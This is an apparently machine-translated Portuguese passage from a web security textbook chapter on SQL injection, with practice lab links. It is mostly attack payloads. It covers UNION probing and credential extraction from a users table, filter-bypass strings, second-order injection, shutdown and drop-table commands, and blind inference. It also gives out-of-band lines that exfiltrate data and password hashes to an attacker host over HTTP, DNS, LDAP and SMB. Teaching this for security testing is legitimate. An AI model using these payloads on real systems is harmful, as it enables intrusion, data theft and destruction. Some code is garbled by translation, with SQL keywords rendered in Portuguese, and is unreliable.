ETAPAS DO HACK

Sua primeira tarefa é descobrir o número de colunas retornadas pela consulta original que está sendo executada pelo aplicativo. Você pode fazer isso de duas maneiras:

1. É possível explorar o fato de que **`NULL`** pode ser convertido em qualquer tipo de dados para injetar sistematicamente consultas com diferentes números de colunas até que a consulta injetada seja executada. Por exemplo:

```
' UNION SELECT NULL--
' UNION SELECT NULL, NULL--
' UNION SELECT NULL, NULL, NULL--
```

Quando a consulta é executada, você determinou o número de colunas necessárias. Se o aplicativo não retornar mensagens de erro do banco de dados, você ainda poderá saber se a consulta injetada foi bem-sucedida. Uma linha adicional de dados será retornada, contendo a palavra **NULL** ou uma string vazia. Observe que a linha injetada pode conter apenas células vazias da tabela e, portanto, pode ser difícil de ver quando renderizada como HTML. Por esse motivo, é preferível examinar a resposta bruta ao executar esse ataque.

2. Depois de identificar o número necessário de colunas, sua próxima tarefa é descobrir uma coluna que tenha um tipo de dados de cadeia de caracteres para que você possa usá-la para extrair dados arbitrários do banco de dados. Você pode fazer isso injetando uma consulta contendo **NULLs**, como fez anteriormente, e substituindo sistematicamente cada **NULL** por **um**. Por exemplo, se você sabe que a consulta deve retornar três colunas, pode injetar o seguinte:

```
' UNION SELECT 'a', NULL, NULL-- '
UNION SELECT NULL, 'a', NULL-- '
UNION SELECT NULL, NULL, 'a'--
```

Quando a consulta é executada, você vê uma linha adicional de dados contendo o valor **a**. Em seguida, você pode usar a coluna relevante para extrair dados do banco de dados.

OBSERVAÇÃO Nos bancos de dados Oracle, toda instrução **SELECT** deve incluir um atributo **FROM**, portanto, injetar **UNION SELECT NULL** produz um erro independentemente do número de colunas. Você pode atender a esse requisito selecionando n a tabela **DUAL** acessível globalmente. Por exemplo:

```
' UNION SELECT NULL FROM DUAL--
```

Depois de identificar o número de colunas necessárias em sua consulta injetada e encontrar uma coluna que tenha um tipo de dados de cadeia de caracteres, você estará em condições de extrair dados arbitrários. Um teste simples de prova de conceito é extrair a string de versão do banco de dados, o que pode ser feito em qualquer DBMS. Por exemplo, se houver três colunas e a primeira coluna puder receber dados de cadeia de caracteres, você poderá extrair a versão do banco de dados injetando a seguinte consulta no MS-SQL e no MySQL:

```
' UNION SELECT @@version,NULL,NULL--
```

A injeção da consulta a seguir obtém o mesmo resultado no Oracle:

```
' UNION SELECT banner,NULL,NULL FROM v$version--
```

No exemplo do aplicativo de pesquisa de livros vulneráveis, podemos usar essa cadeia de caracteres como termo de pesquisa para recuperar a versão do banco de dados Oracle:

AUTOR	TÍTULO	ANO
Produção do CORE 9.2.0.1.0		
NLSRTL Versão 9.2.0.1.0 - Produção		
Oracle9i Enterprise Edition Versão 9.2.0.1.0 - Produção PL/SQL		
Versão 9.2.0.1.0 - Produção		
TNS para Windows de 32 bits: Versão 9.2.0.1.0 - Produção		

É claro que, embora a string de versão do banco de dados possa ser interessante e permitir que você pesquise vulnerabilidades com o software específico que está sendo usado, na maioria dos casos você estará mais interessado em extrair dados reais do banco de dados. Para fazer isso, normalmente você precisa atender à segunda condição descrita anteriormente. Ou seja, você precisa saber o nome da tabela do banco de dados que deseja atingir e os nomes de suas colunas relevantes.

Extração de dados úteis

Para extrair dados úteis do banco de dados, normalmente é necessário saber os nomes das tabelas e colunas que contêm os dados que você deseja acessar. Os principais DBMSs corporativos contêm uma grande quantidade de metadados de banco de dados que você pode consultar para descobrir os nomes de cada tabela e coluna do banco de dados. A metodologia para extrair dados úteis é a mesma em todos os casos; no entanto, os detalhes diferem em diferentes plataformas de banco de dados.

Extração de dados com UNION

Vamos analisar um ataque realizado contra um banco de dados MS-SQL, mas usaremos uma metodologia que funcionará em todas as tecnologias de banco de dados. Considere um aplicativo de catálogo de endereços que permite aos usuários manter uma lista de contatos e consultar e atualizar seus detalhes. Quando um usuário procura em seu catálogo de endereços um contato chamado Matthew, seu navegador publica o seguinte parâmetro:

```
Nome=Matthew
```

e o aplicativo retorna os seguintes resultados:

NOME	E-MAIL
Matthew Adamson	handytrick@gmail.com

EXPERIMENTE!

http://mdsec.net/addressbook/32/

Primeiro, precisamos determinar o número necessário de colunas. O teste de uma única coluna resulta em uma mensagem de erro:

```
Name=Matthew'%20union%20select%20null--

Todas as consultas combinadas usando um operador UNION, INTERSECT ou
EXCEPT devem ter um número igual de expressões em suas listas de destino.
```

Adicionamos um segundo `NULL` e ocorre o mesmo erro. Assim, continuamos adicionando `NULLs` até que nossa consulta seja executada, gerando um item adicional na tabela de resultados:

```
Name=Matthew'%20union%20select%20null,null,null,null,null--
```

NOME	E-MAIL
Matthew Adamson	handytrick@gmail.com
[vazio]	[vazio]

Agora verificamos se a primeira coluna da consulta contém dados de cadeia de caracteres:

```
Name=Matthew'%20union%20select%20'a',null,null,null,null--
```

NOME	E-MAIL
Matthew	
	Adamsonhandytrick@gma
il.com a	

A próxima etapa é descobrir os nomes das tabelas e colunas do banco de dados que podem conter informações interessantes. Podemos fazer isso consultando a tabela de metadados `information_schema.columns`, que contém detalhes de todas as tabelas e nomes de colunas no banco de dados. Eles podem ser recuperados com esta consulta:

```
Name=Matthew'%20union%20select%20table_name,column_name,null,null,
null%20from%20information_schema.columns--
```

NOME	E-MAIL
Matthew Adamson	handytrick@gmail.com
itens_da_loja	preço
itens_da_loja	prodid
itens_da_loja	nome do produto
livro de endereços	e-mail de contato
livro de endereços	nome do contato
usuários	nome de usuário
usuários	senha

Aqui, a tabela de usuários é um local óbvio para começar a extrair dados. Poderíamos extrair dados da tabela de usuários usando esta consulta:

```
Name=Matthew'%20UNION%20select%20username,password,null,null,null%20
from%20users--
```

NOME	E-MAIL
Matthew Adamson	handytrick@gmail.com
administrador	fme69
dev	uber
marcus	8pinto
smith	twosixty
jlo	6kdown

DICA O **`information_schema`** é compatível com o MS-SQL, o MySQL e muitos outros bancos de dados, inclusive o SQLite e o Postgresql. Ele foi projetado para manter os metadados da base de dados, o que o torna um alvo principal para os invasores que desejam examinar o banco de dados. Observe que o Oracle não é compatível com esse esquema. Ao visar um banco de dados Oracle, o ataque seria idêntico em todos os outros aspectos. No entanto, você usaria a consulta **`SELECT table_name,column_name FROM all_tab_columns`** para recuperar informações sobre tabelas e colunas no banco de dados. (Você usaria a tabela **`user_tab_columns`** para se concentrar apenas no banco de dados atual). Ao analisar grandes bancos de dados em busca de pontos de ataque, geralmente é melhor procurar diretamente por nomes de colunas interessantes em vez de tabelas. Por exemplo:

```
SELECT table_name,column_name FROM information_schema.columns where
 column_name LIKE '%PASS%'
```

DICA Quando várias colunas são retornadas de uma tabela de destino, elas podem ser concatenadas em uma única coluna. Isso torna a recuperação mais simples, pois requer a identificação de apenas um único campo varchar na consulta original:

- Oracle: **`SELECT table_name|||':'||column_name FROM all_tab_columns`**
- MS-SQL: **`SELECT nome_da_tabela+':'+nome_da_coluna from esquema_de_informações.colunas`**
- MySQL: **`SELECT CONCAT(nome_da_tabela,':',nome_da_coluna) from information_schema.columns`**

Ignorando filtros

Em algumas situações, um aplicativo vulnerável à injeção de SQL pode implementar vários filtros de entrada que o impedem de explorar a falha sem restrições. Por exemplo, o aplicativo pode remover ou higienizar determinados caracteres ou pode bloquear palavras-chave SQL comuns. Os filtros desse tipo geralmente são vulneráveis a desvios, portanto, você deve tentar vários truques nessa situação.

Como evitar caracteres bloqueados

Se o aplicativo remover ou codificar alguns caracteres que são frequentemente usados em ataques de injeção de SQL, você ainda poderá realizar um ataque sem esses caracteres:

- As aspas simples não são necessárias se você estiver injetando em um campo de dados numéricos ou nome de coluna. Se precisar introduzir uma cadeia de caracteres na carga útil do ataque, você poderá fazer isso sem precisar de aspas. Você pode usar várias funções de cadeia para construir dinamicamente uma cadeia usando os códigos ASCII para caracteres individuais. Por exemplo, as duas consultas a seguir para Oracle e MS-SQL, respectivamente, são equivalentes `a select ename, sal from emp where ename='marcus'`:

  ```
  SELECT ename, sal FROM emp where ename=CHR(109)||CHR(97)||
  CHR(114)||CHR(99)||CHR(117)||CHR(115)

  SELECT ename, sal FROM emp WHERE ename=CHAR(109)+CHAR(97)
  +CHAR(114)+CHAR(99)+CHAR(117)+CHAR(115)
  ```

- Se o símbolo de comentário estiver bloqueado, muitas vezes é possível criar os dados injetados de forma que eles não quebrem a sintaxe da consulta ao redor, mesmo sem usá-lo. Por exemplo, em vez de injetar:

  ```
  ' ou 1=1--
  ```

  você pode injetar:

  ```
  ' ou 'a'='a
  ```

- Ao tentar injetar consultas em lote em um banco de dados MS-SQL, não é necessário usar o separador de ponto e vírgula. Desde que você corrija a sintaxe de todas as consultas do lote, o analisador de consultas as interpretará corretamente, independentemente de você incluir ou não um ponto-e-vírgula.

EXPERIMENTE!

```
http://mdsec.net/addressbook/71/
http://mdsec.net/addressbook/76/
```

Como contornar a validação simples

Algumas rotinas de validação de entrada empregam uma lista negra simples e bloqueiam ou removem qualquer dado fornecido que apareça nessa lista. Nesse caso, você deve tentar os ataques padrão, procurando defeitos comuns nos mecanismos de validação e canonização, conforme descrito no Capítulo 2. Por exemplo, se a palavra-chave `SELECT` estiver sendo bloqueada ou removida, você pode tentar os seguintes desvios:

```
SeLeCt
%00SELECT
SELSELECTECT
%53%45%4c%45%43%54
%2553%2545%254c%2545%2543%2554
```

EXPERIMENTE!

```
http://mdsec.net/addressbook/58/
http://mdsec.net/addressbook/62/
```

Uso de comentários SQL

Você pode inserir comentários inline em instruções SQL da mesma forma que em C++, incorporando-os entre os símbolos `/*` e `*/`. Se o aplicativo bloquear ou remover espaços da sua entrada, você poderá usar comentários para simular espaços em branco nos dados injetados. Por exemplo:

```
SELECT/*foo*/username,password/*foo*/FROM/*foo*/users
```

No MySQL, os comentários podem até mesmo ser inseridos dentro das próprias palavras-chave, o que fornece outro meio de contornar alguns filtros de validação de entrada e, ao mesmo tempo, preservar a sintaxe da consulta real. Por exemplo:

```
SEL/*foo*/ECT nome de usuário, senha FR/*foo*/OM usuários
```

Exploração de filtros defeituosos

As rotinas de validação de entrada geralmente contêm falhas lógicas que podem ser exploradas para fazer com que a entrada bloqueada passe pelo filtro. Esses ataques geralmente exploram a ordenação de várias etapas de validação ou a falha na aplicação recursiva da lógica de sanitização. Alguns ataques desse tipo são descritos no Capítulo 11.

EXPERIMENTE!

http://mdsec.net/addressbook/67/

Injeção de SQL de segunda ordem

Um tipo particularmente interessante de desvio de filtro surge em conexão com a injeção de SQL *de segunda ordem*. Muitos aplicativos tratam os dados com segurança quando eles são inseridos pela primeira vez no banco de dados. Depois que os dados são armazenados no banco de dados, eles podem ser processados posteriormente de forma insegura, seja pelo próprio aplicativo ou por outros processos de back-end. Muitos deles não têm a mesma qualidade que o aplicativo principal voltado para a Internet, mas têm contas de banco de dados com privilégios elevados.

Em alguns aplicativos, a entrada do usuário é validada na chegada, escapando de uma aspa simples. No exemplo original de pesquisa de livros, essa abordagem parece ser eficaz. Quando o usuário digita o termo de pesquisa `O'Reilly`, o aplicativo faz a seguinte consulta:

```
SELECT author,title,year FROM books WHERE publisher = 'O''Reilly'
```

Aqui, a aspa simples fornecida pelo usuário foi convertida em duas aspas simples. Portanto, o item passado para o banco de dados tem o mesmo significado literal que a expressão original inserida pelo usuário.

Um problema com a abordagem de duplicação surge em situações mais complexas em que o mesmo item de dados passa por várias consultas SQL, sendo gravado no banco de dados e depois lido de volta mais de uma vez. Esse é um exemplo das deficiências da *validação de entrada* simples em oposição à *validação de limite*, conforme descrito no Capítulo 2.

Lembre-se do aplicativo que permitia que os usuários se registrassem e continha uma falha de injeção de SQL em uma instrução `INSERT`. Suponha que os desenvolvedores tentem corrigir a vulnerabilidade duplicando as aspas simples que aparecem nos dados do usuário. A tentativa de registrar o nome de usuário `foo'` resulta na seguinte consulta, que não causa problemas para o banco de dados:

```
INSERT INTO users (nome de usuário, senha, ID, privs) VALUES ('foo''',
 'secret', 2248, 1)
```

Até aqui, tudo bem. No entanto, suponha que o aplicativo também implemente uma função de alteração de senha. Essa função só pode ser acessada por usuários autenticados, mas, para maior proteção, o aplicativo exige que os usuários enviem sua senha antiga. Em seguida, ele verifica se ela está correta recuperando a senha atual do usuário no banco de dados e comparando as duas cadeias de caracteres. Para fazer isso, primeiro ele recupera o nome de usuário do usuário no banco de dados e, em seguida, constrói a seguinte consulta:

```
SELECT password FROM users WHERE username = 'foo'
```

Como o nome de usuário armazenado no banco de dados é a string literal `foo'`, esse é o valor que o banco de dados retorna quando esse valor é consultado. A sequência de escape duplicada é usada somente no ponto em que as cadeias de caracteres são passadas para o banco de dados. Portanto, quando o aplicativo reutiliza essa cadeia e a incorpora em uma segunda consulta, surge uma falha de injeção de SQL, e a entrada incorreta original do usuário é incorporada diretamente na consulta. Quando o usuário tenta alterar a palavra-chave, o aplicativo retorna a seguinte mensagem, que revela a falha:

```
Aspas não fechadas antes da cadeia de caracteres 'foo
```

Para explorar essa vulnerabilidade, um invasor pode simplesmente registrar um nome de usuário que contenha sua entrada criada e, em seguida, tentar alterar sua senha. Por exemplo, se o seguinte nome de usuário for registrado:

```
' ou 1 em (select password from users where username='admin')--
```

a própria etapa de registro será tratada com segurança. Quando o invasor tentar alterar sua senha, sua consulta injetada será executada, resultando na seguinte mensagem, que revela a senha do usuário administrador:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Erro de sintaxe ao
converter o valor varchar 'fme69' em uma coluna do tipo de dados int.
```

O invasor conseguiu contornar a validação de entrada que foi projetada para bloquear ataques de injeção de SQL. Agora ele tem uma maneira de executar consultas arbitrárias no banco de dados e recuperar os resultados.

EXPERIMENTE!

http://mdsec.net/addressbook/107/

Exploração avançada

Todos os ataques descritos até agora tinham um meio pronto de recuperar quaisquer dados úteis extraídos do banco de dados, como a execução de um ataque `UNION` ou o retorno de dados em uma mensagem de erro. Como a conscientização sobre a injeção de SQL

Com a evolução das ameaças, esse tipo de situação tem se tornado cada vez menos comum. É cada vez mais comum que as falhas de injeção de SQL que você encontra ocorram em situações em que a recuperação dos resultados das consultas injetadas não é simples. Veremos várias maneiras pelas quais esse problema pode surgir e como você pode lidar com ele.

NOTA Os proprietários de aplicativos devem estar cientes de que nem todo invasor está interessado em roubar dados confidenciais. Alguns podem ser mais destrutivos. Por exemplo, ao fornecer apenas 12 caracteres de entrada, um invasor pode desativar um banco de dados MS-SQL com o comando **shutdown**:

```
' desligamento--
```

Um invasor também pode injetar comandos maliciosos para eliminar tabelas individuais com comandos como esses:

```
' drop table users--
' drop table accounts-- '
drop table customers--
```

Recuperação de dados como números

É bastante comum descobrir que nenhum campo de cadeia de caracteres em um aplicativo é vulnerável à injeção de SQL, porque a entrada contendo aspas simples está sendo tratada adequadamente. No entanto, ainda podem existir vulnerabilidades em campos de dados numéricos, onde a entrada do usuário não está encapsulada entre aspas simples. Muitas vezes, nessas situações, o único meio de recuperar os resultados de suas consultas injetadas é por meio de uma resposta numérica do aplicativo.

Nessa situação, seu desafio é processar os resultados das consultas injetadas de forma que os dados significativos possam ser recuperados em formato numérico. Duas funções-chave podem ser usadas aqui:

- `ASCII`, que retorna o código ASCII do caractere de entrada
- `SUBSTRING` (ou `SUBSTR` no Oracle), que retorna uma substring de sua entrada

Essas funções podem ser usadas em conjunto para extrair um único caractere de uma cadeia de caracteres em formato numérico. Por exemplo:

`SUBSTRING('Admin',1,1)` retorna `A`.
`ASCII('A')` retorna `65`.

Portanto:

`ASCII(SUBSTR('Admin',1,1))` retorna `65`.

Usando essas duas funções, é possível cortar sistematicamente uma cadeia de dados úteis em seus caracteres individuais e retornar cada um deles separadamente, em formato numérico. Em um ataque com script, essa técnica pode ser usada para recuperar e reconstruir rapidamente uma grande quantidade de dados baseados em strings, um byte de cada vez.

DICA Há inúmeras variações sutis na forma como as diferentes plataformas de banco de dados lidam com a manipulação de strings e a computação numérica, o que pode ser necessário levar em conta ao realizar ataques avançados desse tipo. Um excelente guia sobre essas diferenças, que abrange muitos bancos de dados diferentes, pode ser encontrado em http://sqlzoo.net/howto/source/z.dir/i08fun.xml.

Em uma variação dessa situação, os autores encontraram casos em que o que é retornado pelo aplicativo não é um número real, mas um recurso para o qual esse número é um identificador. O aplicativo executa uma consulta SQL com base na entrada do usuário, obtém um identificador numérico para um documento e, em seguida, retorna o conteúdo do documento para o usuário. Nessa situação, um invasor pode primeiro obter uma cópia de cada documento cujos identificadores estejam dentro do intervalo numérico relevante e construir um mapeamento do conteúdo do documento para os identificadores. Em seguida, ao executar o ataque descrito anteriormente, o invasor pode consultar esse mapa para determinar o identificador de cada documento recebido do aplicativo e, assim, recuperar o valor ASCII do caractere que ele extraiu com êxito.

Uso de um canal fora da banda

Em muitos casos de injeção de SQL, o aplicativo não retorna os resultados de nenhuma consulta injetada ao navegador do usuário, nem retorna nenhuma mensagem de erro gerada pelo banco de dados. Nessa situação, pode parecer que sua posição é inútil. Mesmo que exista uma falha de injeção de SQL, ela certamente não poderá ser explorada para extrair dados arbitrários ou executar qualquer outra ação. No entanto, essa aparência é falsa. Você pode tentar várias técnicas para recuperar dados e verificar se outras ações maliciosas foram bem-sucedidas.

Há muitas circunstâncias em que você pode injetar uma consulta arbitrária, mas não recuperar seus resultados. Lembre-se do exemplo do formulário de login vulnerável, em que os campos de nome de usuário e senha são vulneráveis à injeção de SQL:

```
SELECT * FROM users WHERE username = 'marcus' and password = 'secret'
```

Além de modificar a lógica da consulta para contornar o login, você pode injetar uma subconsulta totalmente separada usando a concatenação de strings para unir seus resultados ao item que você controla. Por exemplo:

```
foo' || (SELECT 1 FROM dual WHERE (SELECT username FROM all_users WHERE
 username = 'DBSNMP') = 'DBSNMP')--
```

Isso faz com que o aplicativo execute a seguinte consulta:

```
SELECT * FROM users WHERE nome de usuário = 'foo' || (SELECT 1 FROM dual WHERE
 (SELECT nome de usuário FROM all_users WHERE nome de usuário = 'DBSNMP') =
 'DBSNMP')
```

O banco de dados executa sua subconsulta arbitrária, anexa seus resultados a `foo` e, em seguida, procura os detalhes do nome de usuário resultante. Obviamente, o login falhará, mas sua consulta injetada terá sido executada. Tudo o que você receberá de volta na resposta do aplicativo é a mensagem padrão de falha de login. O que você precisa, então, é de uma maneira de recuperar os resultados da consulta injetada.

Uma situação diferente surge quando você pode empregar consultas em lote em bancos de dados MS-SQL. As consultas em lote são extremamente úteis, pois permitem a execução de uma instrução totalmente separada sobre a qual você tem controle total, usando um verbo SQL diferente e visando a uma tabela diferente. Entretanto, devido à forma como as consultas em lote são executadas, os resultados de uma consulta injetada não podem ser recuperados diretamente. Novamente, você precisa de um meio de recuperar os resultados perdidos da consulta injetada.

Um método de recuperação de dados que costuma ser eficaz nessa situação é usar um canal fora da banda. Tendo alcançado a capacidade de executar instruções SQL arbitrárias no banco de dados, muitas vezes é possível aproveitar algumas das funcionalidades integradas do banco de dados para criar uma conexão de rede com o seu próprio computador, por meio da qual você pode transmitir dados arbitrários que coletou do banco de dados.

Os meios de criar uma conexão de rede adequada são altamente dependentes do banco de dados. Diferentes métodos podem ou não estar disponíveis de acordo com o nível de privilégio do usuário do banco de dados com o qual o aplicativo está acessando o banco de dados. Algumas das técnicas mais comuns e eficazes para cada tipo de banco de dados são descritas aqui.

MS-SQL

Em bancos de dados mais antigos, como o MS-SQL 2000 e anteriores, o comando `OpenRowSet` pode ser usado para abrir uma conexão com um banco de dados externo e inserir dados arbitrários nele. Por exemplo, a consulta a seguir faz com que o banco de dados de destino abra uma conexão com o banco de dados do invasor e insira a string de versão do banco de dados de destino na tabela chamada `foo`:

```
inserir em openrowset('SQLOLEDB',
'DRIVER={SQL Server};SERVER=mdattacker.net,80;UID=sa;PWD=letmein',
'select * from foo') values (@@version)
```

Observe que você pode especificar a porta 80, ou qualquer outro valor provável, para aumentar sua chance de fazer uma conexão de saída através de qualquer firewall.

Oráculo

O Oracle contém uma grande quantidade de funcionalidades padrão que podem ser acessadas por usuários com poucos privilégios e que podem ser usadas para criar uma conexão fora da banda. O pacote `UTL_HTTP` pode ser usado para fazer solicitações HTTP arbitrárias a outros hosts. O `UTL_HTTP` contém uma funcionalidade avançada e oferece suporte a servidores proxy, cookies, redirecionamentos e autenticação. Isso significa que um invasor que tenha comprometido o

Um banco de dados em uma rede corporativa interna altamente restrita pode ser capaz de aproveitar um proxy corporativo para iniciar conexões de saída com a Internet.

No exemplo a seguir, o `UTL_HTTP` é usado para transmitir os resultados de uma consulta injetada para um servidor controlado pelo invasor:

```
/employees.asp?EmpNo=7521'||UTL_HTTP.request('mdattacker.net:80/'||
(SELECT%20username%20FROM%20all_users%20WHERE%20ROWNUM%3d1))--
```

Esse URL faz com que o `UTL_HTTP` faça uma solicitação `GET` para um URL que contenha o primeiro nome de usuário na tabela `all_users`. O invasor pode simplesmente configurar um ouvinte netcat em `mdattacker.net` para receber o resultado:

```
C:\>nc -nLp 80 GET
/SYS HTTP/1.1
Host: mdattacker.net
Conexão: close
```

O pacote `UTL_INADDR` foi projetado para ser usado para resolver nomes de host em endereços IP. Ele pode ser usado para gerar consultas arbitrárias de DNS a um servidor controlado pelo invasor. Em muitas situações, é mais provável que esse ataque seja bem-sucedido do que o ataque `UTL_HTTP`, pois o tráfego de DNS geralmente é permitido pelos firewalls corporativos, mesmo quando o tráfego HTTP é restrito. O invasor pode aproveitar esse pacote para fazer uma pesquisa em um nome de host de sua escolha, recuperando efetivamente dados arbitrários acrescentando-os como subdomínio a um nome de domínio que ele controla. Por exemplo:

```
/employees.asp?EmpNo=7521'||UTL_INADDR.GET_HOST_NAME((SELECT%20PASSWORD%
20FROM%20DBA_USERS%20WHERE%20NAME='SYS')||'.mdattacker.net')
```

Isso resulta em uma consulta DNS ao servidor de nomes `mdattacker.net` que contém o hash da senha do usuário `SYS`:

```
DCB748A5BC5390F2.mdattacker.net
```

O pacote `UTL_SMTP` pode ser usado para enviar e-mails. Esse recurso pode ser usado para recuperar grandes volumes de dados capturados do banco de dados, enviando-os em e-mails de saída.

O pacote `UTL_TCP` pode ser usado para abrir soquetes TCP arbitrários para enviar e receber dados de rede.

NOTA No Oracle 11g, uma ACL adicional protege muitos dos recursos que acabamos de descrever da execução por qualquer usuário arbitrário do banco de dados. Uma maneira fácil de contornar isso é mergulhar na nova funcionalidade fornecida no Oracle 11g e usar esse código:

```
SYS.DBMS_LDAP.INIT((SELECT PASSWORD FROM SYS.USER$ WHERE
 NAME='SYS')||'.mdsec.net',80)
```

MySQL

O comando `SELECT ... INTO OUTFILE` pode ser usado para direcionar a saída de uma consulta arbitrária para um arquivo. O nome de arquivo especificado pode conter um caminho UNC, o que permite direcionar a saída para um arquivo em seu próprio computador. Por exemplo:

```
select * into outfile '\\\\mdattacker.net\\share\\output.txt' from users;
```

Para receber o arquivo, é necessário criar um compartilhamento SMB no computador que permita acesso anônimo de gravação. É possível configurar compartilhamentos em plataformas baseadas em Windows e UNIX para que se comportem dessa maneira. Se você tiver dificuldade para receber o arquivo exportado, isso pode ser resultado de um problema de configuração no servidor SMB. Você pode usar um sniffer para confirmar se o servidor de destino está iniciando alguma conexão de entrada com o seu computador. Se estiver, consulte a documentação do servidor para garantir que ele esteja configurado corretamente.

Aproveitamento do sistema operacional

Muitas vezes é possível realizar ataques de escalonamento por meio do banco de dados que resultam na execução de comandos arbitrários no sistema operacional do próprio servidor de banco de dados. Nessa situação, há muitos outros caminhos disponíveis para a recuperação de dados, como o uso de comandos internos como `tftp`, `mail` e `telnet`, ou a cópia de dados na raiz da Web para recuperação usando um navegador. Consulte a seção posterior "Além da injeção de SQL" para obter técnicas de aumento de privilégios no próprio banco de dados.

Usando a inferência: Respostas condicionais

Há muitos motivos pelos quais um canal fora de banda pode não estar disponível. O mais comum é que isso ocorra porque o banco de dados está localizado em uma rede protegida, cujos firewalls de perímetro não permitem conexões de saída para a Internet ou qualquer outra rede. Nessa situação, você fica restrito a acessar o banco de dados inteiramente por meio do seu ponto de injeção no aplicativo Web.

Nessa situação, trabalhando mais ou menos às cegas, você pode usar muitas técnicas para recuperar dados arbitrários de dentro do banco de dados. Todas essas técnicas são baseadas no conceito de usar uma consulta injetada para acionar condicionalmente algum comportamento detectável pelo banco de dados e, em seguida, inferir um item de informação necessário com base na ocorrência desse comportamento.

Lembre-se da função de login vulnerável, na qual os campos de nome de usuário e senha podem ser injetados para realizar consultas arbitrárias:

```
SELECT * FROM users WHERE username = 'marcus' and password = 'secret'
```

Suponha que você não tenha identificado nenhum método de transmissão dos resultados das consultas injetadas de volta ao navegador. No entanto, você já viu

como pode usar a injeção de SQL para modificar o comportamento do aplicativo.

Por exemplo, o envio dos dois dados de entrada a seguir gera resultados muito diferentes:

```
admin' AND 1=1--
admin' AND 1=2--
```

No primeiro caso, o aplicativo faz o login como usuário administrador. No segundo caso, a tentativa de login falha, pois a condição `1=2` é sempre falsa. Você pode aproveitar esse controle do comportamento do aplicativo como um meio de inferir a veracidade ou falsidade de condições arbitrárias dentro do próprio banco de dados. Por exemplo, usando as funções `ASCII` e `SUBSTRING` descritas anteriormente, você pode testar se um caractere específico de uma cadeia de caracteres capturada tem um valor específico. Por exemplo, o envio dessa parte da entrada faz seu login como usuário administrador, porque a condição testada é verdadeira:

```
admin' AND ASCII(SUBSTRING('Admin',1,1)) = 65--
```

O envio da entrada a seguir, no entanto, resulta em uma falha no login, pois a condição testada é falsa:

```
admin' AND ASCII(SUBSTRING('Admin',1,1)) = 66--
```

Ao enviar um grande número dessas consultas, percorrendo o intervalo de códigos ASCII prováveis para cada caractere até que ocorra um acerto, você pode extrair a cadeia inteira, um byte de cada vez.

Indução de erros condicionais

No exemplo anterior, o aplicativo continha alguma funcionalidade importante cuja lógica poderia ser controlada diretamente por meio de injeção em uma consulta SQL existente. O comportamento projetado do aplicativo (um login bem-sucedido versus um login com falha) poderia ser sequestrado para retornar um único item de informação ao invasor. No entanto, nem todas as situações são tão diretas. Em alguns casos, você pode estar injetando em uma consulta que não tem efeito perceptível no comportamento do aplicativo, como um mecanismo de registro. Em outros casos, você pode estar injetando uma subconsulta ou uma consulta em lote cujos resultados não são processados pelo aplicativo de forma alguma. Nessa situação, você pode ter dificuldade para encontrar uma maneira de causar uma diferença detectável no comportamento que seja contingente a uma condição especificada.

David Litchfield desenvolveu uma técnica que pode ser usada para acionar uma diferença detectável no comportamento na maioria das circunstâncias. A ideia central é injetar uma consulta que induz a um erro no banco de dados dependente de alguma condição especificada. Quando ocorre um erro no banco de dados, ele geralmente é detectável externamente, seja por meio de um código de resposta HTTP 500 ou por meio de algum tipo de mensagem de erro ou comportamento anômalo (mesmo que a mensagem de erro em si não revele nenhuma informação útil).

A técnica se baseia em um recurso do comportamento do banco de dados ao avaliar instruções condicionais: o banco de dados avalia apenas as partes da instrução que precisam ser avaliadas, considerando o status das outras partes. Um exemplo desse comportamento é um comando `SELECT` que contém uma cláusula `WHERE`:

```
SELECT X FROM Y WHERE C
```

Isso faz com que o banco de dados trabalhe em cada linha da tabela `Y`, avaliando a condição `C` e retornando `X` nos casos em que a condição `C` for verdadeira. Se a condição `C` nunca for verdadeira, a expressão `X` nunca será avaliada.

Esse comportamento pode ser explorado ao encontrar uma expressão `X` que seja sintaticamente válida, mas que gere um erro se for avaliada. Um exemplo desse tipo de expressão no Oracle e no MS-SQL é um cálculo de divisão por zero, como `1/0`. Se a condição `C` for sempre verdadeira, a expressão `X` será avaliada, causando um erro no banco de dados. Se a condição `C` for sempre falsa, nenhum erro será gerado. Portanto, você pode usar a presença ou ausência de um erro para testar uma condição arbitrária `C`.

Um exemplo disso é a seguinte consulta, que testa se o usuário padrão do Oracle, `DBSNMP`, existe. Se esse usuário existir, a expressão `1/0` será avaliada, causando um erro:

```
SELECT 1/0 FROM dual WHERE (SELECT username FROM all_users WHERE username = 'DBSNMP')
 = 'DBSNMP'
```

A consulta a seguir testa se existe um usuário inventado `AAAAAA`. Como a condição `WHERE` nunca é verdadeira, a expressão `1/0` não é avaliada e, portanto, não ocorre nenhum erro:

```
SELECT 1/0 FROM dual WHERE (SELECT username FROM all_users WHERE username = 'AAAAAA')
 = 'AAAAAA'
```

Essa técnica é uma forma de induzir uma resposta condicional dentro do aplicativo, mesmo nos casos em que a consulta que você está injetando não tem impacto sobre a lógica ou o processamento de dados do aplicativo. Portanto, ela permite que você use as técnicas de inferência descritas anteriormente para extrair dados em uma ampla gama de situações. Além disso, devido à simplicidade da técnica, as mesmas cadeias de ataque funcionarão em vários bancos de dados e onde o ponto de injeção estiver em vários tipos de instruções SQL.

Essa técnica também é versátil porque pode ser usada em todos os tipos de pontos de injeção em que uma subconsulta pode ser injetada. Por exemplo:

```
(selecione 1 onde <<condição>> ou 1/0=0)
```

Considere um aplicativo que fornece um banco de dados de contatos pesquisável e classificável. O usuário controla os parâmetros de `departamento` e `classificação`:

```
/search.jsp?department=30&sort=ename
```

Isso aparece na consulta de back-end a seguir, que parametriza o parâmetro `departament`, mas concatena o parâmetro `sort` na consulta:

```
String queryText = "SELECT ename,job,deptno,hiredate FROM emp WHERE deptno = ? ORDER
 BY " + request.getParameter("sort") + " DESC";
```

Não é possível alterar a cláusula `WHERE` ou emitir uma consulta `UNION` após uma cláusula `ORDER BY`; no entanto, um invasor pode criar uma condição de inferência emitindo a seguinte instrução:

```
/search.jsp?department=20&sort=(select%201/0%20from%20dual%20where%20
(select%20substr(max(object_name),1,1)%20FROM%20user_objects)='Y')
```

Se a primeira letra do primeiro nome de objeto na tabela `user_objects` for igual a `"Y"`, isso fará com que o banco de dados tente avaliar 1/0. Isso resultará em um erro e nenhum resultado será retornado pela consulta geral. Se a letra não for igual a `"Y"`, os resultados da consulta original serão retornados na ordem padrão. Fornecendo cuidadosamente essa condição a uma ferramenta de injeção de SQL, como o Absinthe ou o SQLMap, podemos recuperar todos os registros do banco de dados.

Uso de atrasos de tempo

